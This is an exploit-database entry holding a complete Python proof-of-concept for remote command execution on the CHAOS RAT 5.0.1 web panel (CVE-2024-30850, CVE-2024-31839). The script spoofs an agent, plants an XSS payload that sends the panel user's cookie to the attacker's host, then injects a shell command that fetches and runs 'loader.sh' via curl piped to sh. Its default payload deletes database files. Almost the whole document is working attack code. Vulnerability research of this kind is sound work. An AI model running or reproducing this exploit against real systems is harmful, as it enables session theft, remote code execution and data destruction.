CHAOS RAT 5.0.1 Remote Command Execution

# Exploit Title: CHAOS RAT v5.0.1 RCE# Date: 2024-04-05# Exploit Author: @_chebuya# Software Link: https://github.com/tiagorlampert/CHAOS# Version: v5.0.1 # Tested on: Ubuntu 20.04 LTS# CVE: CVE-2024-30850, CVE-2024-31839# Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server# Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc# Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/import timeimport requestsimport threadingimport jsonimport websocketimport http.clientimport argparseimport sysimport refrom functools import partialfrom http.server import BaseHTTPRequestHandler, HTTPServerclass Collector(BaseHTTPRequestHandler):    def __init__(self, ip, port, target, command, video_name, *args, **kwargs):        self.ip = ip        self.port = port        self.target = target        self.shell_command = command        self.video_name = video_name         super().__init__(*args, **kwargs)    def do_GET(self):        if self.path == "/loader.sh":            self.send_response(200)            self.end_headers()            command = str.encode(self.shell_command)            self.wfile.write(command)        elif self.path == "/video.mp4":            with open(self.video_name, 'rb') as f:                self.send_response(200)                self.send_header('Content-type', 'video/mp4')                self.end_headers()                self.wfile.write(f.read())        else:            cookie = self.path.split("=")[1]            self.send_response(200)            self.end_headers()            self.wfile.write(b"")            background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))            background_thread.start()def convert_to_int_array(string):    int_array = []    for char in string:        int_array.append(ord(char))    return int_arraydef extract_client_info(path):    with open(path, 'rb') as f:        data = str(f.read())    address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"    address_pattern = re.compile(address_regexp)    address = address_pattern.findall(data)[0].split("=")[1]    port_regexp = r"main\.Port=\d{1,6}"    port_pattern = re.compile(port_regexp)    port = port_pattern.findall(data)[0].split("=")[1]    jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"    jwt_pattern = re.compile(jwt_regexp)    jwt = jwt_pattern.findall(data)[0].split("=")[1]    return f"{address}:{port}", jwtdef keep_connection(target, cookie, hostname, username, os_name, mac, ip):    print("Spoofing agent connection")    headers = {            "Cookie": f"jwt={cookie}"    }    while True:        data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}        r = requests.get(f"http://{target}/health", headers=headers)        r = requests.post(f"http://{target}/device", headers=headers, json=data)        time.sleep(30)def handle_command(target, cookie, mac, ip, port):    print("Waiting to serve malicious command outupt")    headers = {        "Cookie": f"jwt={cookie}",        "X-Client": mac    }    ws = websocket.WebSocket()    ws.connect(f'ws://{target}/client', header=headers)    while True:        response = ws.recv()        command = json.loads(response)['command']        data = {"client_id": mac, "response": convert_to_int_array(f"</pre><script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script><video loop controls autoplay><source src=\"http://{ip}:{port}/video.mp4\" type=\"video/mp4\"></video>"), "has_error": False}        ws.send_binary(json.dumps(data))def run_exploit(cookie, target, ip, port):    print(f"Exploiting {target} with JWT {cookie}")    conn = http.client.HTTPConnection(target)    headers = {        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',        'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',        'Cookie': f'jwt={cookie}'    }    conn.request(        'POST',        '/generate',        f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',        headers    )def run(ip, port, target, command, video_name):    server_address = (ip, int(port))    collector = partial(Collector, ip, port, target, command, video_name)    httpd = HTTPServer(server_address, collector)    print(f'Server running on port {ip}:{port}')    httpd.serve_forever()if __name__ == "__main__":    parser = argparse.ArgumentParser()    subparsers = parser.add_subparsers(dest="option")    exploit = subparsers.add_parser("exploit")    exploit.add_argument("-f", "--file",  help="The path to the CHAOS client")    exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)")    exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;")    exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4")    exploit.add_argument("-j", "--jwt", help="The JWT token to use")    exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True)    exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000)    exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01")    exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator")    exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows")    exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56")    exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12")    extract = subparsers.add_parser("extract")    extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True)    args = parser.parse_args()    if args.option == "exploit":        if args.target != None and args.jwt != None:            target = args.target            jwt = args.jwt        elif args.file != None:            target, jwt = extract_client_info(args.file)        else:            exploit.print_help(sys.stderr)            sys.exit(1)        bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))        bg.start()        cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))        cmd.start()        server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))        server.start()    elif args.option == "extract":        target, jwt = extract_client_info(args.file)        print(f"CHAOS server: {target}\nJWT: {jwt}")    else:        parser.print_help(sys.stderr)        sys.exit(1)